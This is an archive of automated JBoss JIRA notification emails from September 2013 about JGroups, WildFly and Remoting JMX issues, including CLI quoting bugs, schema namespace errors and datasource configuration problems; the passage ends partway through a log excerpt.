                 URL: https://issues.jboss.org/browse/JGRP-1692
             Project: JGroups
          Issue Type: Feature Request
            Reporter: Tristan Tarrant
            Assignee: Tristan Tarrant


Validator error: Error resolving component 'ConfigType'. It was detected that 'ConfigType' has no namespace, but components with no target namespace are not referenceable from schema document 'null'. If 'ConfigType' is intended to have a namespace, perhaps a prefix needs to be provided. If it is intended that 'ConfigType' has no namespace, then an 'import' without a "namespace" attribute should be added to 'null'.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:08:03 2013
From: jira-events at lists.jboss.org (Tristan Tarrant (JIRA))
Date: Thu, 12 Sep 2013 06:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1692) XSD schema does not specify a
 target namespace when declaring the type element
In-Reply-To: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500585.1378980149000.23098.1378980483415@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1692?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tristan Tarrant updated JGRP-1692:
----------------------------------

    Summary: XSD schema does not specify a target namespace when declaring the type element  (was: XSD schema does not specify a target namespace when declaring the ConfigType element)

    
> XSD schema does not specify a target namespace when declaring the type element
> ------------------------------------------------------------------------------
>
>                 Key: JGRP-1692
>                 URL: https://issues.jboss.org/browse/JGRP-1692
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Tristan Tarrant
>            Assignee: Tristan Tarrant
>
> Validator error: Error resolving component 'ConfigType'. It was detected that 'ConfigType' has no namespace, but components with no target namespace are not referenceable from schema document 'null'. If 'ConfigType' is intended to have a namespace, perhaps a prefix needs to be provided. If it is intended that 'ConfigType' has no namespace, then an 'import' without a "namespace" attribute should be added to 'null'.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:10:03 2013
From: jira-events at lists.jboss.org (Chao Wang (JIRA))
Date: Thu, 12 Sep 2013 06:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513980@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513980@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513980.23108.1378980603469@jira02.app.mwc.hst.phx2.redhat.com>

Chao Wang created WFLY-2051:
-------------------------------

             Summary: CLI write attribute dialog for string value should enclose value in generated command to double quotes
                 Key: WFLY-2051
                 URL: https://issues.jboss.org/browse/WFLY-2051
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Alpha4
            Reporter: Chao Wang
            Assignee: Chao Wang


{noformat}
Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283

String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases

Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
following command is generated:

/subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})

Correctly should be generated command 
/subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")

1. start AS
  ./bin/standalone.sh
2. start CLI GUI 
  ./bin/jboss-cli.sh --gui &
3. click on node subsystem=webservices of /
4. right click on wsdl-host and select write-attribute
5. enter value ${jboss.bind.address:127.0.0.1} and click OK
6. submit generated command
7. reload node
  click on node subsystem=webservices of / (close node)
  click on node subsystem=webservices of / (open node)

Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}


Workaround: in dialog box enclose the value in double quotes
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 06:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-125) Attribute
 passivate-events-on-replicate of cluster-passivation-store can't be change
 via drm or cli
In-Reply-To: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462154.1332337214000.23116.1378980603835@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-125?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803788#comment-12803788 ] 

RH Bugzilla Integration commented on WFLY-125:
----------------------------------------------

Richard Achmatowicz <rachmato at redhat.com> made a comment on [bug 900076|https://bugzilla.redhat.com/show_bug.cgi?id=900076]

FYI: pull request sent 
https://github.com/jbossas/jboss-eap/pull/395
                
> Attribute passivate-events-on-replicate of cluster-passivation-store can't be change via drm or cli
> ---------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-125
>                 URL: https://issues.jboss.org/browse/WFLY-125
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Ond?ej Chaloupka
>            Assignee: Richard Achmatowicz
>              Labels: eap6_need_triage
>             Fix For: 8.0.0.Beta1
>
>
> Setting attribute passivate-events-on-replicate via drm or cli does not take affect until operation :reload is used.
> In case that the attribute ( <cluster-passivation-store name="infinispan" cache-container="ejb" passivate-events-on-replicate="false" />) is set directly in standalone*.xml configuration file the supposed functionality is working.
> The test for this could be checked on:
> https://github.com/ochaloup/jboss-as/blob/JBQA-5855-test-migration-passivation-in-cluster/testsuite/integration/clust/src/test/java/org/jboss/as/test/clustering/cluster/ejb3/stateful/passivation/ClusterPassivationTestCase.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 06:10:03 2013
From: jira-events at lists.jboss.org (Tristan Tarrant (JIRA))
Date: Thu, 12 Sep 2013 06:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1692) XSD schema does not specify a
 target namespace when declaring the type element
In-Reply-To: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500585.1378980149000.23110.1378980603550@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1692?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803787#comment-12803787 ] 

Tristan Tarrant commented on JGRP-1692:
---------------------------------------

https://github.com/belaban/JGroups/pull/106
                
> XSD schema does not specify a target namespace when declaring the type element
> ------------------------------------------------------------------------------
>
>                 Key: JGRP-1692
>                 URL: https://issues.jboss.org/browse/JGRP-1692
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Tristan Tarrant
>            Assignee: Tristan Tarrant
>
> Validator error: Error resolving component 'ConfigType'. It was detected that 'ConfigType' has no namespace, but components with no target namespace are not referenceable from schema document 'null'. If 'ConfigType' is intended to have a namespace, perhaps a prefix needs to be provided. If it is intended that 'ConfigType' has no namespace, then an 'import' without a "namespace" attribute should be added to 'null'.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 06:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513000.23129.1378980723493@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2051?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803792#comment-12803792 ] 

RH Bugzilla Integration commented on WFLY-2051:
-----------------------------------------------

Chao Wang <chaowan at redhat.com> made a comment on [bug 988283|https://bugzilla.redhat.com/show_bug.cgi?id=988283]

Issue exists in wildfly as well, and also see this with normal CLI write-attribute operation for attributes like STRING type and expression-allowed => true, 
Example: /interface=management:write-attribute(name=inet-address,value=${jboss.bind.address.management:127.0.0.1})

>From https://github.com/wildfly/wildfly/blob/master/cli/src/main/java/org/jboss/as/cli/ArgumentValueConverter.java?source=c#L71

toSet = ModelNode.fromString(value); This returns 'IllegalArgumentException: Invalid character: $' then '$' is set by ArgumentValueCallbackHandler

Create an upstream issue as well https://issues.jboss.org/browse/WFLY-2051
                
> CLI write attribute dialog for string value should enclose value in generated command to double quotes
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2051
>                 URL: https://issues.jboss.org/browse/WFLY-2051
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>
> {noformat}
> Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283
> String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases
> Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
> following command is generated:
> /subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})
> Correctly should be generated command 
> /subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")
> 1. start AS
>   ./bin/standalone.sh
> 2. start CLI GUI 
>   ./bin/jboss-cli.sh --gui &
> 3. click on node subsystem=webservices of /
> 4. right click on wsdl-host and select write-attribute
> 5. enter value ${jboss.bind.address:127.0.0.1} and click OK
> 6. submit generated command
> 7. reload node
>   click on node subsystem=webservices of / (close node)
>   click on node subsystem=webservices of / (open node)
> Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}
> Workaround: in dialog box enclose the value in double quotes
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 06:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513000.23132.1378980723557@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2051?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2051:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=988283

    
> CLI write attribute dialog for string value should enclose value in generated command to double quotes
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2051
>                 URL: https://issues.jboss.org/browse/WFLY-2051
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>
> {noformat}
> Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283
> String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases
> Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
> following command is generated:
> /subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})
> Correctly should be generated command 
> /subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")
> 1. start AS
>   ./bin/standalone.sh
> 2. start CLI GUI 
>   ./bin/jboss-cli.sh --gui &
> 3. click on node subsystem=webservices of /
> 4. right click on wsdl-host and select write-attribute
> 5. enter value ${jboss.bind.address:127.0.0.1} and click OK
> 6. submit generated command
> 7. reload node
>   click on node subsystem=webservices of / (close node)
>   click on node subsystem=webservices of / (open node)
> Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}
> Workaround: in dialog box enclose the value in double quotes
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:18:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 06:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1692) XSD schema does not specify a
 target namespace when declaring the type element
In-Reply-To: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500585.1378980149000.23160.1378981083628@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1692?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1692.
----------------------------

    Resolution: Done

    
> XSD schema does not specify a target namespace when declaring the type element
> ------------------------------------------------------------------------------
>
>                 Key: JGRP-1692
>                 URL: https://issues.jboss.org/browse/JGRP-1692
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Tristan Tarrant
>            Assignee: Tristan Tarrant
>             Fix For: 3.4
>
>
> Validator error: Error resolving component 'ConfigType'. It was detected that 'ConfigType' has no namespace, but components with no target namespace are not referenceable from schema document 'null'. If 'ConfigType' is intended to have a namespace, perhaps a prefix needs to be provided. If it is intended that 'ConfigType' has no namespace, then an 'import' without a "namespace" attribute should be added to 'null'.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:18:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 06:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1692) XSD schema does not specify a
 target namespace when declaring the type element
In-Reply-To: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500585.1378980149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500585.1378980149000.23157.1378981083575@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1692?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1692:
---------------------------

    Fix Version/s: 3.4

    
> XSD schema does not specify a target namespace when declaring the type element
> ------------------------------------------------------------------------------
>
>                 Key: JGRP-1692
>                 URL: https://issues.jboss.org/browse/JGRP-1692
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Tristan Tarrant
>            Assignee: Tristan Tarrant
>             Fix For: 3.4
>
>
> Validator error: Error resolving component 'ConfigType'. It was detected that 'ConfigType' has no namespace, but components with no target namespace are not referenceable from schema document 'null'. If 'ConfigType' is intended to have a namespace, perhaps a prefix needs to be provided. If it is intended that 'ConfigType' has no namespace, then an 'import' without a "namespace" attribute should be added to 'null'.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:43:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 06:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-19) Optimise server side
 notifications to eliminate serialization issue re different instances of
 same filter and hand back server side.
In-Reply-To: <JIRA.12456336.1326305121000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12456336.1326305121000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12456336.1326305121000.23255.1378982583923@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-19?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-19:
-----------------------------------

    Fix Version/s: 1.1.1.CR3
                       (was: 1.1.1.CR2)

    
> Optimise server side notifications to eliminate serialization issue re different instances of same filter and hand back server side.
> ------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: REMJMX-19
>                 URL: https://issues.jboss.org/browse/REMJMX-19
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Notifications
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3
>
>
> The NotificationMBeanSupport class compares these items by identity so when different copies are received server side it breaks these comparisons.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:43:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 06:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-10) Internationalisation of log
	messages
In-Reply-To: <JIRA.12455938.1325851646000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455938.1325851646000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455938.1325851646000.23258.1378982583988@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-10?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-10:
-----------------------------------

    Fix Version/s: 1.1.1.CR3
                       (was: 1.1.1.CR2)

    
> Internationalisation of log messages
> ------------------------------------
>
>                 Key: REMJMX-10
>                 URL: https://issues.jboss.org/browse/REMJMX-10
>             Project: Remoting JMX
>          Issue Type: Task
>            Reporter: Darran Lofthouse
>             Fix For: 1.1.1.CR3
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:43:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-4) Allow for long method calls
 within the protocol.
In-Reply-To: <JIRA.12455930.1325850649000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455930.1325850649000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455930.1325850649000.23264.1378982584186@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-4?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-4:
----------------------------------

    Fix Version/s: 1.1.1.CR3
                       (was: 1.1.1.CR2)

    
> Allow for long method calls within the protocol.
> ------------------------------------------------
>
>                 Key: REMJMX-4
>                 URL: https://issues.jboss.org/browse/REMJMX-4
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Connection, RPC
>            Reporter: Darran Lofthouse
>             Fix For: 1.1.1.CR3
>
>
> Methods such as invoke could take a long time to return depending on what the MBean is actually doing.
> This task is to build support for this into the protocol, 2 initial ideas are: -
>  1 - Allow the client to 'ping' the server after a request has timed out and ask the server is this request still running, server side the we can track the correlation IDs of current requests an check it is still in-progress.
>  2 - The server could periodically send a message to the client to say the message is still in progress, the client could cache these and on timing out check if one has been received recently and wait again if one has.
>  3 - Any other suggestions?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:43:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-8) Connection state notification
	suppport
In-Reply-To: <JIRA.12455935.1325851513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455935.1325851513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455935.1325851513000.23261.1378982584066@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-8?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-8:
----------------------------------

    Fix Version/s: 1.1.1.CR3
                       (was: 1.1.1.CR2)

    
> Connection state notification suppport
> --------------------------------------
>
>                 Key: REMJMX-8
>                 URL: https://issues.jboss.org/browse/REMJMX-8
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Connection, Notifications
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:43:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.23269.1378982584293@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-68:
-----------------------------------

    Fix Version/s: 1.1.1.CR3

    
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 07:23:03 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Thu, 12 Sep 2013 07:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.23342.1378984983452@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Emmanuel Hugonnet reopened WFLY-1988:
-------------------------------------



The problem is more global than just null char, but it happens with non ASCII chars in authKey.
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 07:38:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 12 Sep 2013 07:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.23376.1378985883682@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-68.
------------------------------------

    Resolution: Done

    
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 08:10:03 2013
From: jira-events at lists.jboss.org (Weinan Li (JIRA))
Date: Thu, 12 Sep 2013 08:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-950) RESTEasy: Empty cfg. param
 javax.ws.rs.Application produces exception
In-Reply-To: <JIRA.12454946.1323964561000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12454946.1323964561000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12454946.1323964561000.23422.1378987803566@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-950?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Weinan Li resolved WFLY-950.
----------------------------

    Resolution: Out of Date

    
> RESTEasy: Empty cfg. param javax.ws.rs.Application produces exception
> ---------------------------------------------------------------------
>
>                 Key: WFLY-950
>                 URL: https://issues.jboss.org/browse/WFLY-950
>             Project: WildFly
>          Issue Type: Bug
>          Components: REST
>            Reporter: Pavel Janousek
>            Assignee: Weinan Li
>
> RESTEasy can be configured through several configuration options in WAR application deployment file WEB-INF/web.xml. The major one (also portable defined by JAX-RS standard) is _javax.ws.rs.Application_. When I set this parameter to empty content present behavior is raising exception "java.lang.StringIndexOutOfBoundsException: String index out of range: 0", it is not so good.
> I think, this is hard miss-configuration error and deployment description as this one should be rejected and a such application should not be deployed at all with appropriate error message, but not only by messed exception.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 08:29:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 08:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23493.1378988943645@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803847#comment-12803847 ] 

Jesper Pedersen commented on WFLY-2047:
---------------------------------------

Why is LDAP leaking into JDBC ?
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
